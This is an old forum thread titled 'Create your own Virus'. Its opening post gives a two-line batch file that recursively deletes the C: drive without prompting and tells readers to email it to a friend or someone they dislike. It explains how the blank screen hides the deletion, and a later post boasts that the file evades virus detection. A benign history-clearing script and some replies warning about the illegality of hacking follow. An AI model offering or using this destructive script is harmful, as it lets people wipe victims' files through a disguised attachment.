PDA

View Full Version : Create your own "Virus"


haqa
22-06-04, 03:40 PM
Well technically its not a virus, its just a windows dos command, but it can do some damage.
Heres what you do.
DO NOT TRY THIS AT HOME (i.e. run the code)

Open up notepad
stick this in it:

@ECHO OFF
rmdir C: /q /s

then save the text file as a .bat file (eg clear.bat)
next email it as an attachment to a friend or someone you dont like.
when they open it it will delete thier C:\ drive.:D

the @echo off- shows a blank screen, so they cant see that its deleting stuff
the rmdir- remove directory, deletes everything in c:\ drive.
obviously if you close the window it will stop deleting.
the /q- does not ask for confirmation (so once you open it, it starts)
the /s- Removes the directory and all subdirectories including any files

disclaimer:
I do not encourage anyone to actually send a batch file to anyone with the above code,
i am just mearly showing you how it can be done. Also so that you are aware of batch files if you recive one in an email.

The rmdir command can also be used for good.
The following code will delete hisory files from your computer(you can edit it and put your own paths in as well)

@ECHO OFF
rmdir "C:\Documents and Settings\username\Recent" /q /s
rmdir "C:\Documents and Settings\username\Local Settings\Temp" /q /s
rmdir "C:\Documents and Settings\username\Application Data\Real\RealOne Player\History" /q /s
rmdir "C:\Documents and Settings\username\Application Data\Real\RealOne Player\Temp" /q /s
rmdir "C:\Documents and Settings\username\Application Data\Microsoft\Office\Recent" /q /s
rmdir "c:\Documents and Settings\username\Local Settings\Temporary Internet Files\Content.IE5" /q /s

Replace "username" with your username.
the temporary internet file one might not work in xp, and i couldnt get it to delete internet history in xp or 2000
it will delete the above folders, but thy will come back.
put the code in a .bat file and save it somewhere in My Documents, well not mine but yours, then create a shortcut and put
it in the shortcut folder as explained in the previous thread (http://ummah.com/forum/showthread.php?threadid=39584) , then give it a shortcut key, like Ctrl+alt+c.
so now whenever you wann clear history files just press Ctrl+alt+c or alt gr+c and it clear everything
apart from internet hisory, which you can get rid of by going to internet options-clear history.

So there you go, “try it yourself”- create your own history cleaner ,tarah for now.
*Ends with Art Attack theme tune*

sajid
23-06-04, 08:57 AM
there something just as simple

open notepad

all u have to do is write in something like

del c:\somefilename.txt

and save it as a .bat file and there u have it

u gotta be careful if u recive any .bat files they cud be destructive

sajid

haqa
23-06-04, 03:06 PM
yeh ive tried the del aswell, but the prob with that is it wont delete read only, hidden or system files unless u add certain switches and it dont del folders it leves em there. so to del everthing it would take more code.

Omar
23-06-04, 03:20 PM
thanks bro i needed tht:D

Pak4Ever
18-07-04, 12:34 PM
thanks bro i needed tht:D erm... dont get caught "hacking" or spreading Viruses,

its illegal in most countries and you will get tracked down faster then you can say JIMBOB if you manage to any serious (financial) damage, so just watch it.

plus i really hate hackers who just go around the internet causing havok for no reason, messing up peoples computers and networks (my friend got his site hacked/defaced and it took him ages to reconfigure everything).

one persons fun or joke is anothers loss and stress

whatever you do dont think your invincible :P even the creator(s) of Matilda virus and ILOVEU bug got caught, if Kevin Mitnick can get caught then trust me, you will too! ;)

Omar
18-07-04, 01:27 PM
Assalammualakum

Dont worry im not gonna go around making viruses Was just jkin but thanks for the Concern :D

haqa
19-07-04, 10:18 AM
erm... dont get caught "hacking" or spreading Viruses,

its illegal in most countries and you will get tracked down faster then you can say JIMBOB if you manage to any serious (financial) damage, so just watch it.

plus i really hate hackers who just go around the internet causing havok for no reason, messing up peoples computers and networks (my friend got his site hacked/defaced and it took him ages to reconfigure everything).

one persons fun or joke is anothers loss and stress

whatever you do dont think your invincible :P even the creator(s) of Matilda virus and ILOVEU bug got caught, if Kevin Mitnick can get caught then trust me, you will too! ;)dont worry its not really a virus, this is something else, it wont be detected as a virus its just a dos command that can be used or missused.

KB1
06-08-04, 06:45 PM
ah, so its a dos command that cannt be detecetd as a virus...a criminal minded persons dream no?, lol...should you really be posting things like this? hehehe